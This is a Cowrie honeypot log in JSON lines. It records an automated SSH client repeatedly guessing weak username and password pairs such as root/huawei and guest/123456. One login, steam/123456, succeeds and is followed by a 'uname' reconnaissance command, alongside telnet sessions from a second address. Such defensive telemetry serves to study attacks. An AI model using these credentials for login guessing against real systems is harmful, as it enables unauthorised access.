{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:54.628470Z","src_ip":"192.109.200.237","session":"f09776f9c2dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.19164228439331,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:55.690294Z","src_ip":"50.6.8.71","session":"7fda22df63de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45916,"dst_ip":"159.203.135.109","dst_port":22,"session":"1528a2371b1b","protocol":"ssh","message":"New connection: 192.109.200.237:45916 (159.203.135.109:22) [session: 1528a2371b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:56.746077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:56.751629Z","src_ip":"192.109.200.237","session":"1528a2371b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37670,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f0417b856b","protocol":"telnet","message":"New connection: 50.6.8.71:37670 (10.17.0.5:23) [session: 97f0417b856b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:56.795222Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:56.834457Z","src_ip":"192.109.200.237","session":"1528a2371b1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:57.082382Z","src_ip":"192.109.200.237","session":"1528a2371b1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56006360054016,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:58.037682Z","src_ip":"50.6.8.71","session":"253a45c95f2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:09:58.166368Z","src_ip":"192.109.200.237","session":"1528a2371b1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57418,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a29e1d42f2","protocol":"ssh","message":"New connection: 192.109.200.237:57418 (159.203.135.109:22) [session: 03a29e1d42f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:00.290324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:00.295498Z","src_ip":"192.109.200.237","session":"03a29e1d42f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:00.383277Z","src_ip":"192.109.200.237","session":"03a29e1d42f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:00.638711Z","src_ip":"192.109.200.237","session":"03a29e1d42f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:01.732342Z","src_ip":"192.109.200.237","session":"03a29e1d42f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.9055380821228,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:02.960778Z","src_ip":"50.6.8.71","session":"940a1a43a9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57432,"dst_ip":"159.203.135.109","dst_port":22,"session":"e89ccfcc3934","protocol":"ssh","message":"New connection: 192.109.200.237:57432 (159.203.135.109:22) [session: e89ccfcc3934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:03.827105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:03.833377Z","src_ip":"192.109.200.237","session":"e89ccfcc3934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:03.917527Z","src_ip":"192.109.200.237","session":"e89ccfcc3934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:04.174343Z","src_ip":"192.109.200.237","session":"e89ccfcc3934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:05.262058Z","src_ip":"192.109.200.237","session":"e89ccfcc3934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57438,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b5bcead6de","protocol":"ssh","message":"New connection: 192.109.200.237:57438 (159.203.135.109:22) [session: e3b5bcead6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:07.319428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:07.326188Z","src_ip":"192.109.200.237","session":"e3b5bcead6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:07.409100Z","src_ip":"192.109.200.237","session":"e3b5bcead6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:07.658463Z","src_ip":"192.109.200.237","session":"e3b5bcead6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:08.813040Z","src_ip":"192.109.200.237","session":"e3b5bcead6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54772,"dst_ip":"159.203.135.109","dst_port":22,"session":"337d2f73d7f7","protocol":"ssh","message":"New connection: 192.109.200.237:54772 (159.203.135.109:22) [session: 337d2f73d7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:10.673095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:10.679493Z","src_ip":"192.109.200.237","session":"337d2f73d7f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:10.793249Z","src_ip":"192.109.200.237","session":"337d2f73d7f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:11.166664Z","src_ip":"192.109.200.237","session":"337d2f73d7f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:12.253477Z","src_ip":"192.109.200.237","session":"337d2f73d7f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54794,"dst_ip":"159.203.135.109","dst_port":22,"session":"7324a946ab1e","protocol":"ssh","message":"New connection: 192.109.200.237:54794 (159.203.135.109:22) [session: 7324a946ab1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:14.195346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:14.206277Z","src_ip":"192.109.200.237","session":"7324a946ab1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:14.338176Z","src_ip":"192.109.200.237","session":"7324a946ab1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:14.586078Z","src_ip":"192.109.200.237","session":"7324a946ab1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:15.741965Z","src_ip":"192.109.200.237","session":"7324a946ab1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54816,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d8ef8bce062","protocol":"ssh","message":"New connection: 192.109.200.237:54816 (159.203.135.109:22) [session: 5d8ef8bce062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:17.682940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:17.696674Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:17.868591Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":41550,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4cc1ad8cfec","protocol":"telnet","message":"New connection: 50.6.8.71:41550 (10.17.0.5:23) [session: b4cc1ad8cfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.121367Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.141146Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.357308Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.360802Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.447188Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.454011Z","src_ip":"192.109.200.237","session":"5d8ef8bce062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.90165400505066,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:18.592460Z","src_ip":"50.6.8.71","session":"7631de0a8f7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38882,"dst_ip":"159.203.135.109","dst_port":22,"session":"deb7af89e499","protocol":"ssh","message":"New connection: 192.109.200.237:38882 (159.203.135.109:22) [session: deb7af89e499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:21.192483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:10:21.197300Z","src_ip":"192.109.200.237","session":"deb7af89e499","protocol":"ssh"}
